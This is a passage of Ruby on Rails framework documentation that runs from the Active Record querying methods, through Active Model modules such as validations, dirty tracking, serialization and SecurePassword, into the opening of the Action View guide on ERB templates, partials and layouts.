Note that if a query matches multiple records, find_by will fetch only the first one and ignore the others (see the LIMIT 1 statement above).

19 Find or Build a New Object

It's common that you need to find a record or create it if it doesn't exist. You can do that with the find_or_create_by and find_or_create_by! methods.

19.1 find_or_create_by

The find_or_create_by method checks whether a record with the specified attributes exists. If it doesn't, then create is called. Let's see an example.

Suppose you want to find a customer named "Andy", and if there's none, create one. You can do so by running:

  irb> Customer.find_or_create_by(first_name: 'Andy')
=> #<Customer id: 5, first_name: "Andy", last_name: nil, title: nil, visits: 0, orders_count: nil, lock_version: 0, created_at: "2019-01-17 07:06:45", updated_at: "2019-01-17 07:06:45">

The SQL generated by this method looks like this:

  SELECT * FROM customers WHERE (customers.first_name = 'Andy') LIMIT 1
BEGIN
INSERT INTO customers (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
COMMIT

find_or_create_by returns either the record that already exists or the new record. In our case, we didn't already have a customer named Andy so the record is created and returned.

The new record might not be saved to the database; that depends on whether validations passed or not (just like create).

Suppose we want to set the 'locked' attribute to false if we're creating a new record, but we don't want to include it in the query. So we want to find the customer named "Andy", or if that customer doesn't exist, create a customer named "Andy" which is not locked.

We can achieve this in two ways. The first is to use create_with:

  Customer.create_with(locked: false).find_or_create_by(first_name: 'Andy')

The second way is using a block:

  Customer.find_or_create_by(first_name: 'Andy') do |c|
  c.locked = false
end

The block will only be executed if the customer is being created. The second time we run this code, the block will be ignored.

19.2 find_or_create_by!

You can also use find_or_create_by! to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add

  validates :orders_count, presence: true

to your Customer model. If you try to create a new Customer without passing an orders_count, the record will be invalid and an exception will be raised:

  irb> Customer.find_or_create_by!(first_name: 'Andy')
ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank

19.3 find_or_initialize_by

The find_or_initialize_by method will work just like find_or_create_by but it will call new instead of create. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the find_or_create_by example, we now want the customer named 'Nina':

  irb> nina = Customer.find_or_initialize_by(first_name: 'Nina')
=> #<Customer id: nil, first_name: "Nina", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">

irb> nina.persisted?
=> false

irb> nina.new_record?
=> true

Because the object is not yet stored in the database, the SQL generated looks like this:

  SELECT * FROM customers WHERE (customers.first_name = 'Nina') LIMIT 1

When you want to save it to the database, just call save:

  irb> nina.save
=> true

20 Finding by SQL

If you'd like to use your own SQL to find records in a table you can use find_by_sql. The find_by_sql method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:

  irb> Customer.find_by_sql("SELECT * FROM customers INNER JOIN orders ON customers.id = orders.customer_id ORDER BY customers.created_at desc")
=> [#<Customer id: 1, first_name: "Lucas" ...>, #<Customer id: 2, first_name: "Jan" ...>, ...]

find_by_sql provides you with a simple way of making custom calls to the database and retrieving instantiated objects.

20.1 select_all

find_by_sql has a close relative called connection.select_all. select_all will retrieve objects from the database using custom SQL just like find_by_sql but will not instantiate them. This method will return an instance of ActiveRecord::Result class and calling to_a on this object would return you an array of hashes where each hash indicates a record.

  irb> Customer.connection.select_all("SELECT first_name, created_at FROM customers WHERE id = '1'").to_a
=> [{"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}]

20.2 pluck

pluck can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as an argument and returns an array of values of the specified columns with the corresponding data type.

  irb> Book.where(out_of_print: true).pluck(:id)
SELECT id FROM books WHERE out_of_print = true
=> [1, 2, 3]

irb> Order.distinct.pluck(:status)
SELECT DISTINCT status FROM orders
=> ["shipped", "being_packed", "cancelled"]

irb> Customer.pluck(:id, :first_name)
SELECT customers.id, customers.first_name FROM customers
=> [[1, "David"], [2, "Fran"], [3, "Jose"]]

pluck makes it possible to replace code like:

  Customer.select(:id).map { |c| c.id }
# or
Customer.select(:id).map(&:id)
# or
Customer.select(:id, :first_name).map { |c| [c.id, c.first_name] }

with:

  Customer.pluck(:id)
# or
Customer.pluck(:id, :first_name)

Unlike select, pluck directly converts a database result into a Ruby Array, without constructing ActiveRecord objects. This can mean better performance for a large or frequently-run query. However, any model method overrides will not be available. For example:

  class Customer < ApplicationRecord
  def name
    "I am #{first_name}"
  end
end

  irb> Customer.select(:first_name).map &:name
=> ["I am David", "I am Jeremy", "I am Jose"]

irb> Customer.pluck(:first_name)
=> ["David", "Jeremy", "Jose"]

You are not limited to querying fields from a single table, you can query multiple tables as well.

  irb> Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title")

Furthermore, unlike select and other Relation scopes, pluck triggers an immediate query, and thus cannot be chained with any further scopes, although it can work with scopes already constructed earlier:

  irb> Customer.pluck(:first_name).limit(1)
NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>

irb> Customer.limit(1).pluck(:first_name)
=> ["David"]

You should also know that using pluck will trigger eager loading if the relation object contains include values, even if the eager loading is not necessary for the query. For example:

  irb> assoc = Customer.includes(:reviews)
irb> assoc.pluck(:id)
SELECT "customers"."id" FROM "customers" LEFT OUTER JOIN "reviews" ON "reviews"."id" = "customers"."review_id"

One way to avoid this is to unscope the includes:

  irb> assoc.unscope(:includes).pluck(:id)

20.3 ids

ids can be used to pluck all the IDs for the relation using the table's primary key.

  irb> Customer.ids
SELECT id FROM customers

  class Customer < ApplicationRecord
  self.primary_key = "customer_id"
end

  irb> Customer.ids
SELECT customer_id FROM customers

21 Existence of Objects

If you simply want to check for the existence of the object there's a method called exists?. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.

  Customer.exists?(1)

The exists? method also takes multiple values, but the catch is that it will return true if any one of those records exists.

  Customer.exists?(id: [1,2,3])
# or
Customer.exists?(first_name: ['Jane', 'Sergei'])

It's even possible to use exists? without any arguments on a model or a relation.

  Customer.where(first_name: 'Ryan').exists?

The above returns true if there is at least one customer with the first_name 'Ryan' and false otherwise.

  Customer.exists?

The above returns false if the customers table is empty and true otherwise.

You can also use any? and many? to check for existence on a model or relation. many? will use SQL count to determine if the item exists.

  # via a model
Order.any?
# => SELECT 1 FROM orders LIMIT 1
Order.many?
# => SELECT COUNT(*) FROM (SELECT 1 FROM orders LIMIT 2)

# via a named scope
Order.shipped.any?
# => SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 1
Order.shipped.many?
# => SELECT COUNT(*) FROM (SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 2)

# via a relation
Book.where(out_of_print: true).any?
Book.where(out_of_print: true).many?

# via an association
Customer.first.orders.any?
Customer.first.orders.many?

22 Calculations

This section uses count as an example method in this preamble, but the options described apply to all sub-sections.

All calculation methods work directly on a model:

  irb> Customer.count
SELECT COUNT(*) FROM customers

Or on a relation:

  irb> Customer.where(first_name: 'Ryan').count
SELECT COUNT(*) FROM customers WHERE (first_name = 'Ryan')

You can also use various finder methods on a relation for performing complex calculations:

  irb> Customer.includes("orders").where(first_name: 'Ryan', orders: { status: 'shipped' }).count

Which will execute:

  SELECT COUNT(DISTINCT customers.id) FROM customers
  LEFT OUTER JOIN orders ON orders.customer_id = customers.id
  WHERE (customers.first_name = 'Ryan' AND orders.status = 0)

assuming that Order has enum status: [ :shipped, :being_packed, :cancelled ].

22.1 Count

If you want to see how many records are in your model's table you could call Customer.count and that will return the number. If you want to be more specific and find all the customers with a title present in the database you can use Customer.count(:title).

For options, please see the parent section, Calculations.

22.2 Average

If you want to see the average of a certain number in one of your tables you can call the average method on the class that relates to the table. This method call will look something like this:

  Order.average("subtotal")

This will return a number (possibly a floating-point number such as 3.14159265) representing the average value in the field.

For options, please see the parent section, Calculations.

22.3 Minimum

If you want to find the minimum value of a field in your table you can call the minimum method on the class that relates to the table. This method call will look something like this:

  Order.minimum("subtotal")

For options, please see the parent section, Calculations.

22.4 Maximum

If you want to find the maximum value of a field in your table you can call the maximum method on the class that relates to the table. This method call will look something like this:

  Order.maximum("subtotal")

For options, please see the parent section, Calculations.

22.5 Sum

If you want to find the sum of a field for all records in your table you can call the sum method on the class that relates to the table. This method call will look something like this:

  Order.sum("subtotal")

For options, please see the parent section, Calculations.

23 Running EXPLAIN

You can run explain on a relation. EXPLAIN output varies for each database.

For example, running

  Customer.where(id: 1).joins(:orders).explain

may yield

  EXPLAIN for: SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1
+----+-------------+------------+-------+---------------+
| id | select_type | table      | type  | possible_keys |
+----+-------------+------------+-------+---------------+
|  1 | SIMPLE      | customers  | const | PRIMARY       |
|  1 | SIMPLE      | orders     | ALL   | NULL          |
+----+-------------+------------+-------+---------------+
+---------+---------+-------+------+-------------+
| key     | key_len | ref   | rows | Extra       |
+---------+---------+-------+------+-------------+
| PRIMARY | 4       | const |    1 |             |
| NULL    | NULL    | NULL  |    1 | Using where |
+---------+---------+-------+------+-------------+

2 rows in set (0.00 sec)

under MySQL and MariaDB.

Active Record performs a pretty printing that emulates that of the corresponding database shell. So, the same query running with the PostgreSQL adapter would yield instead

  EXPLAIN for: SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]]
                                  QUERY PLAN
------------------------------------------------------------------------------
 Nested Loop  (cost=4.33..20.85 rows=4 width=164)
    ->  Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
          Index Cond: (id = '1'::bigint)
    ->  Bitmap Heap Scan on orders  (cost=4.18..12.64 rows=4 width=8)
          Recheck Cond: (customer_id = '1'::bigint)
          ->  Bitmap Index Scan on index_orders_on_customer_id  (cost=0.00..4.18 rows=4 width=0)
                Index Cond: (customer_id = '1'::bigint)
(7 rows)

Eager loading may trigger more than one query under the hood, and some queries may need the results of previous ones. Because of that, explain actually executes the query, and then asks for the query plans. For example,

  Customer.where(id: 1).includes(:orders).explain

may yield this for MySQL and MariaDB:

  EXPLAIN for: SELECT `customers`.* FROM `customers`  WHERE `customers`.`id` = 1
+----+-------------+-----------+-------+---------------+
| id | select_type | table     | type  | possible_keys |
+----+-------------+-----------+-------+---------------+
|  1 | SIMPLE      | customers | const | PRIMARY       |
+----+-------------+-----------+-------+---------------+
+---------+---------+-------+------+-------+
| key     | key_len | ref   | rows | Extra |
+---------+---------+-------+------+-------+
| PRIMARY | 4       | const |    1 |       |
+---------+---------+-------+------+-------+

1 row in set (0.00 sec)

EXPLAIN for: SELECT `orders`.* FROM `orders`  WHERE `orders`.`customer_id` IN (1)
+----+-------------+--------+------+---------------+
| id | select_type | table  | type | possible_keys |
+----+-------------+--------+------+---------------+
|  1 | SIMPLE      | orders | ALL  | NULL          |
+----+-------------+--------+------+---------------+
+------+---------+------+------+-------------+
| key  | key_len | ref  | rows | Extra       |
+------+---------+------+------+-------------+
| NULL | NULL    | NULL |    1 | Using where |
+------+---------+------+------+-------------+

1 row in set (0.00 sec)

and may yield this for PostgreSQL:

    Customer Load (0.3ms)  SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1  [["id", 1]]
  Order Load (0.3ms)  SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = $1  [["customer_id", 1]]
=> EXPLAIN for: SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]]
                                    QUERY PLAN
----------------------------------------------------------------------------------
 Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
   Index Cond: (id = '1'::bigint)
(2 rows)

23.1 Interpreting EXPLAIN

Interpretation of the output of EXPLAIN is beyond the scope of this guide. The following pointers may be helpful:

SQLite3: EXPLAIN QUERY PLAN

MySQL: EXPLAIN Output Format

MariaDB: EXPLAIN

PostgreSQL: Using EXPLAIN

Active Model Basics

This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with plain Ruby objects. Active Model also helps build custom ORMs for use outside of the Rails framework.

After reading this guide, you will know:

How an Active Record model behaves.

How Callbacks and validations work.

How serializers work.

How Active Model integrates with the Rails internationalization (i18n) framework.

Chapters

What is Active Model?

API

Attribute Methods

Callbacks

Conversion

Dirty

Validations

Naming

Model

Serialization

Translation

Lint Tests

SecurePassword

1 What is Active Model?

Active Model is a library containing various modules used in developing classes that need some features present on Active Record. Some of these modules are explained below.

1.1 API

ActiveModel::API adds the ability for a class to work with Action Pack and Action View right out of the box.

  class EmailContact
  include ActiveModel::API

  attr_accessor :name, :email, :message
  validates :name, :email, :message, presence: true

  def deliver
    if valid?
      # deliver email
    end
  end
end

When including ActiveModel::API you get some features like:

model name introspection

conversions

translations

validations

It also gives you the ability to initialize an object with a hash of attributes, much like any Active Record object.

  irb> email_contact = EmailContact.new(name: 'David', email: 'david@example.com', message: 'Hello World')
irb> email_contact.name
=> "David"
irb> email_contact.email
=> "david@example.com"
irb> email_contact.valid?
=> true
irb> email_contact.persisted?
=> false

Any class that includes ActiveModel::API can be used with form_with, render and any other Action View helper methods, just like Active Record objects.

1.2 Attribute Methods

The ActiveModel::AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes and which methods on the object will use them.

  class Person
  include ActiveModel::AttributeMethods

  attribute_method_prefix 'reset_'
  attribute_method_suffix '_highest?'
  define_attribute_methods 'age'

  attr_accessor :age

  private
    def reset_attribute(attribute)
      send("#{attribute}=", 0)
    end

    def attribute_highest?(attribute)
      send(attribute) > 100
    end
end

  irb> person = Person.new
irb> person.age = 110
irb> person.age_highest?
=> true
irb> person.reset_age
=> 0
irb> person.age_highest?
=> false

1.3 Callbacks

ActiveModel::Callbacks gives Active Record style callbacks. This provides an ability to define callbacks which run at appropriate times. After defining callbacks, you can wrap them with before, after, and around custom methods.

  class Person
  extend ActiveModel::Callbacks

  define_model_callbacks :update

  before_update :reset_me

  def update
    run_callbacks(:update) do
      # This method is called when update is called on an object.
    end
  end

  def reset_me
    # This method is called when update is called on an object as a before_update callback is defined.
  end
end

1.4 Conversion

If a class defines persisted? and id methods, then you can include the ActiveModel::Conversion module in that class, and call the Rails conversion methods on objects of that class.

  class Person
  include ActiveModel::Conversion

  def persisted?
    false
  end

  def id
    nil
  end
end

  irb> person = Person.new
irb> person.to_model == person
=> true
irb> person.to_key
=> nil
irb> person.to_param
=> nil

1.5 Dirty

An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. ActiveModel::Dirty gives the ability to check whether an object has been changed or not. It also has attribute-based accessor methods. Let's consider a Person class with attributes first_name and last_name:

  class Person
  include ActiveModel::Dirty
  define_attribute_methods :first_name, :last_name

  def first_name
    @first_name
  end

  def first_name=(value)
    first_name_will_change!
    @first_name = value
  end

  def last_name
    @last_name
  end

  def last_name=(value)
    last_name_will_change!
    @last_name = value
  end

  def save
    # do save work...
    changes_applied
  end
end

1.5.1 Querying an Object Directly for its List of All Changed Attributes

  irb> person = Person.new
irb> person.changed?
=> false

irb> person.first_name = "First Name"
irb> person.first_name
=> "First Name"

# Returns true if any of the attributes have unsaved changes.
irb> person.changed?
=> true

# Returns a list of attributes that have changed before saving.
irb> person.changed
=> ["first_name"]

# Returns a Hash of the attributes that have changed with their original values.
irb> person.changed_attributes
=> {"first_name"=>nil}

# Returns a Hash of changes, with the attribute names as the keys, and the values as an array of the old and new values for that field.
irb> person.changes
=> {"first_name"=>[nil, "First Name"]}

1.5.2 Attribute-based Accessor Methods

Track whether the particular attribute has been changed or not.

  irb> person.first_name
=> "First Name"

# attr_name_changed?
irb> person.first_name_changed?
=> true

Track the previous value of the attribute.

  # attr_name_was accessor
irb> person.first_name_was
=> nil

Track both previous and current values of the changed attribute. Returns an array if changed, otherwise returns nil.

  # attr_name_change
irb> person.first_name_change
=> [nil, "First Name"]
irb> person.last_name_change
=> nil

1.6 Validations

The ActiveModel::Validations module adds the ability to validate objects like in Active Record.

  class Person
  include ActiveModel::Validations

  attr_accessor :name, :email, :token

  validates :name, presence: true
  validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
  validates! :token, presence: true
end

  irb> person = Person.new
irb> person.token = "2b1f325"
irb> person.valid?
=> false
irb> person.name = 'vishnu'
irb> person.email = 'me'
irb> person.valid?
=> false
irb> person.email = 'me@vishnuatrai.com'
irb> person.valid?
=> true
irb> person.token = nil
irb> person.valid?
ActiveModel::StrictValidationFailed

1.7 Naming

ActiveModel::Naming adds several class methods which make naming and routing easier to manage. The module defines the model_name class method which will define several accessors using some ActiveSupport::Inflector methods.

  class Person
  extend ActiveModel::Naming
end

Person.model_name.name                # => "Person"
Person.model_name.singular            # => "person"
Person.model_name.plural              # => "people"
Person.model_name.element             # => "person"
Person.model_name.human               # => "Person"
Person.model_name.collection          # => "people"
Person.model_name.param_key           # => "person"
Person.model_name.i18n_key            # => :person
Person.model_name.route_key           # => "people"
Person.model_name.singular_route_key  # => "person"

1.8 Model

ActiveModel::Model allows implementing models similar to ActiveRecord::Base.

  class EmailContact
  include ActiveModel::Model

  attr_accessor :name, :email, :message
  validates :name, :email, :message, presence: true

  def deliver
    if valid?
      # deliver email
    end
  end
end

When including ActiveModel::Model you get all the features from ActiveModel::API.

1.9 Serialization

ActiveModel::Serialization provides basic serialization for your object. You need to declare an attributes Hash which contains the attributes you want to serialize. Attributes must be strings, not symbols.

  class Person
  include ActiveModel::Serialization

  attr_accessor :name

  def attributes
    {'name' => nil}
  end
end

Now you can access a serialized Hash of your object using the serializable_hash method.

  irb> person = Person.new
irb> person.serializable_hash
=> {"name"=>nil}
irb> person.name = "Bob"
irb> person.serializable_hash
=> {"name"=>"Bob"}

1.9.1 ActiveModel::Serializers

Active Model also provides the ActiveModel::Serializers::JSON module for JSON serializing / deserializing. This module automatically includes the previously discussed ActiveModel::Serialization module.

1.9.1.1 ActiveModel::Serializers::JSON

To use ActiveModel::Serializers::JSON you only need to change the module you are including from ActiveModel::Serialization to ActiveModel::Serializers::JSON.

  class Person
  include ActiveModel::Serializers::JSON

  attr_accessor :name

  def attributes
    {'name' => nil}
  end
end

The as_json method, similar to serializable_hash, provides a Hash representing the model.

  irb> person = Person.new
irb> person.as_json
=> {"name"=>nil}
irb> person.name = "Bob"
irb> person.as_json
=> {"name"=>"Bob"}

You can also define the attributes for a model from a JSON string. However, you need to define the attributes= method on your class:

  class Person
  include ActiveModel::Serializers::JSON

  attr_accessor :name

  def attributes=(hash)
    hash.each do |key, value|
      send("#{key}=", value)
    end
  end

  def attributes
    {'name' => nil}
  end
end

Now it is possible to create an instance of Person and set attributes using from_json.

  irb> json = { name: 'Bob' }.to_json
irb> person = Person.new
irb> person.from_json(json)
=> #<Person:0x00000100c773f0 @name="Bob">
irb> person.name
=> "Bob"

1.10 Translation

ActiveModel::Translation provides integration between your object and the Rails internationalization (i18n) framework.

  class Person
  extend ActiveModel::Translation
end

With the human_attribute_name method, you can transform attribute names into a more human-readable format. The human-readable format is defined in your locale file(s).

config/locales/app.pt-BR.yml

  pt-BR:
  activemodel:
    attributes:
      person:
        name: 'Nome'

  Person.human_attribute_name('name') # => "Nome"

1.11 Lint Tests

ActiveModel::Lint::Tests allows you to test whether an object is compliant with the Active Model API.

app/models/person.rb

class Person
  include ActiveModel::Model
end

test/models/person_test.rb

require "test_helper"

class PersonTest < ActiveSupport::TestCase
  include ActiveModel::Lint::Tests

  setup do
    @model = Person.new
  end
end

  $ bin/rails test

Run options: --seed 14596

# Running:

......

Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.

6 runs, 30 assertions, 0 failures, 0 errors, 0 skips

An object is not required to implement all APIs in order to work with Action Pack. This module only intends to guide in case you want all features out of the box.

1.12 SecurePassword

ActiveModel::SecurePassword provides a way to securely store any password in an encrypted form. When you include this module, a has_secure_password class method is provided which defines a password accessor with certain validations on it by default.

1.12.1 Requirements

ActiveModel::SecurePassword depends on bcrypt, so include this gem in your Gemfile to use ActiveModel::SecurePassword correctly. In order to make this work, the model must have an accessor named XXX_digest. Where XXX is the attribute name of your desired password. The following validations are added automatically:

Password should be present.

Password should be equal to its confirmation (provided XXX_confirmation is passed along).

The maximum length of a password is 72 (required by bcrypt on which ActiveModel::SecurePassword depends)

1.12.2 Examples

  class Person
  include ActiveModel::SecurePassword
  has_secure_password
  has_secure_password :recovery_password, validations: false

  attr_accessor :password_digest, :recovery_password_digest
end

  irb> person = Person.new

# When password is blank.
irb> person.valid?
=> false

# When the confirmation doesn't match the password.
irb> person.password = 'aditya'
irb> person.password_confirmation = 'nomatch'
irb> person.valid?
=> false

# When the length of password exceeds 72.
irb> person.password = person.password_confirmation = 'a' * 100
irb> person.valid?
=> false

# When only password is supplied with no password_confirmation.
irb> person.password = 'aditya'
irb> person.valid?
=> true

# When all validations are passed.
irb> person.password = person.password_confirmation = 'aditya'
irb> person.valid?
=> true

irb> person.recovery_password = "42password"

irb> person.authenticate('aditya')
=> #<Person> # == person
irb> person.authenticate('notright')
=> false
irb> person.authenticate_password('aditya')
=> #<Person> # == person
irb> person.authenticate_password('notright')
=> false

irb> person.authenticate_recovery_password('42password')
=> #<Person> # == person
irb> person.authenticate_recovery_password('notright')
=> false

irb> person.password_digest
=> "$2a$04$gF8RfZdoXHvyTjHhiU4ZsO.kQqV9oonYZu31PRE4hLQn3xM2qkpIy"
irb> person.recovery_password_digest
=> "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC"

Action View Overview

After reading this guide, you will know:

What Action View is and how to use it with Rails.

How best to use templates, partials, and layouts.

How to use localized views.

Chapters

What is Action View?

Using Action View with Rails

Templates, Partials, and Layouts

Templates

Partials

Layouts

Partial Layouts

View Paths

Prepend View Path

Append View Path

Helpers

Localized Views

1 What is Action View?

In Rails, web requests are handled by Action Controller and Action View. Typically, Action Controller is concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.

Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, several helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.

Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.

2 Using Action View with Rails

For each controller, there is an associated directory in the app/views directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.

Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:

  $ bin/rails generate scaffold article
      [...]
      invoke  scaffold_controller
      create    app/controllers/articles_controller.rb
      invoke    erb
      create      app/views/articles
      create      app/views/articles/index.html.erb
      create      app/views/articles/edit.html.erb
      create      app/views/articles/show.html.erb
      create      app/views/articles/new.html.erb
      create      app/views/articles/_form.html.erb
      [...]

There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above. For example, the index controller action of the articles_controller.rb will use the index.html.erb view file in the app/views/articles directory. The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide, you will find more detailed documentation about each of these three components.

3 Templates, Partials, and Layouts

As mentioned, the final HTML output is a composition of three Rails elements: Templates, Partials and Layouts. Below is a brief overview of each of them.

3.1 Templates

Action View templates can be written in several ways. If the template file has a .erb extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a .builder extension then the Builder::XmlMarkup library is used.

Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have .html.erb as a file extension.

3.1.1 ERB

Within an ERB template, Ruby code can be included using both <% %> and <%= %> tags. The <% %> tags are used to execute Ruby code that does not return anything, such as conditions, loops, or blocks, and the <%= %> tags are used when you want output.

Consider the following loop for names:

  <h1>Names of all the people</h1>
<% @people.each do |person| %>
  Name: <%= person.name %><br>
<% end %>

The loop is set up using regular embedding tags (<% %>) and the name is inserted using the output embedding tags (<%= %>). Note that this is not just a usage suggestion: regular output functions such as print and puts won't be rendered to the view with ERB templates. So this would be wrong:

  <%# WRONG %>
Hi, Mr. <% puts "Frodo" %>

To suppress leading and trailing whitespaces, you can use <%- -%> interchangeably with <% and %>.

3.1.2 Builder

Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named xml is automatically made available to templates with a .builder extension.

Here are some basic examples:

  xml.em("emphasized")
xml.em { xml.b("emph & bold") }
xml.a("A Link", "href" => "https://rubyonrails.org")
xml.target("name" => "compile", "option" => "fast")

which would produce:

  <em>emphasized</em>
<em><b>emph &amp; bold</b></em>
<a href="https://rubyonrails.org">A link</a>
<target option="fast" name="compile" />

Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:

  xml.div {
  xml.h1(@person.name)
  xml.p(@person.bio)
}

would produce something like:

  <div>
  <h1>David Heinemeier Hansson</h1>
  <p>A product of Danish Design during the Winter of '79...</p>
</div>

Below is a full-length RSS example actually used on Basecamp:

  xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
  xml.channel do
    xml.title(@feed_title)
    xml.link(@url)
    xml.description "Basecamp: Recent items"
    xml.language "en-us"
    xml.ttl "40"

    for item in @recent_items
      xml.item do
        xml.title(item_title(item))
        xml.description(item_description(item)) if item_description(item)
        xml.pubDate(item_pubDate(item))
        xml.guid(@person.firm.account.url + @recent_items.url(item))
        xml.link(@person.firm.account.url + @recent_items.url(item))
        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
      end
    end
  end
end

3.1.3 Jbuilder

Jbuilder is a gem that's maintained by the Rails team and included in the default Rails Gemfile. It's similar to Builder but is used to generate JSON, instead of XML.

If you don't have it, you can add the following to your Gemfile:

  gem 'jbuilder'

A Jbuilder object named json is automatically made available to templates with a .jbuilder extension.

Here is a basic example:

  json.name("Alex")
json.email("alex@example.com")

would produce:

  {
  "name": "Alex",
  "email": "alex@example.com"
}

See the Jbuilder documentation for more examples and information.

3.1.4 Template Caching

By default, Rails will compile each template to a method to render it. In the development environment, when you alter a template, Rails will check the file's modification time and recompile it.

3.2 Partials

Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.

3.2.1 Naming Partials

To render a partial as part of a view, you use the render method within the view:

  <%= render "menu" %>

This will render a file named _menu.html.erb at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

  <%= render "shared/menu" %>

That code will pull in the partial from app/views/shared/_menu.html.erb.

3.2.2 Using Partials to Simplify Views

One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:

  <%= render "shared/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
<% @products.each do |product| %>
  <%= render partial: "product", locals: { product: product } %>
<% end %>

<%= render "shared/footer" %>

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

3.2.3 render without partial and locals Options

In the above example, render takes 2 options: partial and locals. But if these are the only options you want to pass, you can skip using these options. For example, instead of:

  <%= render partial: "product", locals: { product: @product } %>

You can also do:

  <%= render "product", product: @product %>

3.2.4 The as and object Options

By default ActionView::Partials::PartialRenderer has its object in a local variable with the same name as the template. So, given:

  <%= render partial: "product" %>

within _product partial we'll get @product in the local variable product, as if we had written:

  <%= render partial: "product", locals: { product: @product } %>

The object option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable).

For example, instead of:

  <%= render partial: "product", locals: { product: @item } %>

we would do:

  <%= render partial: "product", object: @item %>

With the as option, we can specify a different name for the said local variable. For example, if we wanted it to be item instead of product we would do:

  <%= render partial: "product", object: @item, as: "item" %>

This is equivalent to

  <%= render partial: "product", locals: { item: @item } %>

3.2.5 Rendering Collections

Commonly, a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.

So this example for rendering all the products:

  <% @products.each do |product| %>
  <%= render partial: "product", locals: { product: product } %>
<% end %>

can be rewritten in a single line:

  <%= render partial: "product", collection: @products %>

When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within it, you can refer to product to get the collection member that is being rendered.

You can use a shorthand syntax for rendering collections. Assuming @products is a collection of Product instances, you can simply write the following to produce the same result:

  <%= render @products %>

Rails determines the name of the partial to use by looking at the model name in the collection, Product in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.

3.2.6 Spacer Templates

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

  <%= render partial: @products, spacer_template: "product_ruler" %>

Rails will render the _product_ruler partial (with no data passed to it) between each pair of _product partials.

3.3 Layouts

Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the Layouts and Rendering in Rails guide.

4 Partial Layouts

Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.

Let's say we're displaying an article on a page which should be wrapped in a div for display purposes. Firstly, we'll create a new Article:

  Article.create(body: 'Partial Layouts are cool!')

In the show template, we'll render the _article partial wrapped in the box layout:

articles/show.html.erb

  <%= render partial: 'article', layout: 'box', locals: { article: @article } %>

The box layout simply wraps the _article partial in a div:

articles/_box.html.erb

  <div class='box'>
  <%= yield %>
</div>

